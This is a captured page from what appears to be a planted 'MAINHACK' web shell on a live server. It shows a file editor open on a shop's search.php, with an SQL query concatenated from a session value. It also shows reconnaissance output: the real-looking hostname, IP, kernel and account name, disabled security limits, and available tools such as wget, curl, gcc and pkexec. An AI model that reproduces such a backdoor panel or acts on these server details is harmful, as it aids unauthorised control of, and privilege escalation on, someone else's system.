[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: search.php
<?php session_start(); include("../admin/db/db.php");?> <?php $shopname = $_SESSION['business_name_Xw211qAAsq4']; if(isset($_POST['input'])){ $input = $_POST['input']; $sql = "SELECT * FROM services WHERE business_name = '$shopname'"; $con = mysqli_query($new,$sql); if(mysqli_num_rows($con) > 0){?> <?php while($category = mysqli_fetch_array($con)){?> <?php $status = $category['s_status'];?> <div class="form-group"> <input type="checkbox" name="service_id[]" value="<?php echo $category['service_id'];?>" <?php if($status == 1) echo 'checked';?>> <input type="checkbox" class="hidden-checkbox" name="service_price1[]" value="<?php echo $category['service_price'];?><?php if($status == 1) echo 'checked';?>"> <label for="vehicle1"> <?php echo $category['service_name'];?> - Ghs <?php echo $category['service_price'];?> <li class="list-inline-item" data-toggle="tooltip" title="Change Price"> <a href="javascript:;" class="addAttrr" data-toggle="modal" data-target="#qtyModal" data-id="<?php echo $category['service_id']; ?>"> ch</a></li> </label> </div> <?php } ?> <?php } else { echo "<h6 class='text-danger text-center mt-3'>No service found</h6>"; } } ?> <script> $('.addAttr').click(function() { var id = $(this).data('id'); $('#id').val(id); } ); </script> <script> $('.addAttrr').click(function() { var id = $(this).data('id'); $('#id').val(id); } ); </script> <script type="text/javascript"> $(document).ready(function() { $('#add_category_bttn').submit(function(event) { event.preventDefault(); $.ajax({ url: 'insertSales.php', type: 'post', headers: {'X-CSRF-Token': $('#csrf_token').val()}, data: $('#add_category_bttn').serialize(), dataType: 'json', success: function(response) { if (response.status == 'success') { swal("Success!", response.message, "success").then(() => { location.reload(); }); //window.location.href = response.redirect; $('#add_category_bttn')[0].reset(); } else { swal("Error!", response.message, "error").then(() => { location.reload(); }); } } }); }); }); </script> <script type="text/javascript"> $('input[name="service_price1[]"]').change(function(){ var values = []; $('input[name="service_price1[]"]').each(function(){ var value = $(this).prop('checked') ? 1 : 0; values.push({id: $(this).val(), value: value}); }); $.ajax({ url: 'update_cart.php', type: 'POST', data: {values: values}, dataType: 'json', success: function(response) { if (response.status == 'success') { // swal("Success!", response.message, "success").then(() => { // location.reload(); // }); } } }); }); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002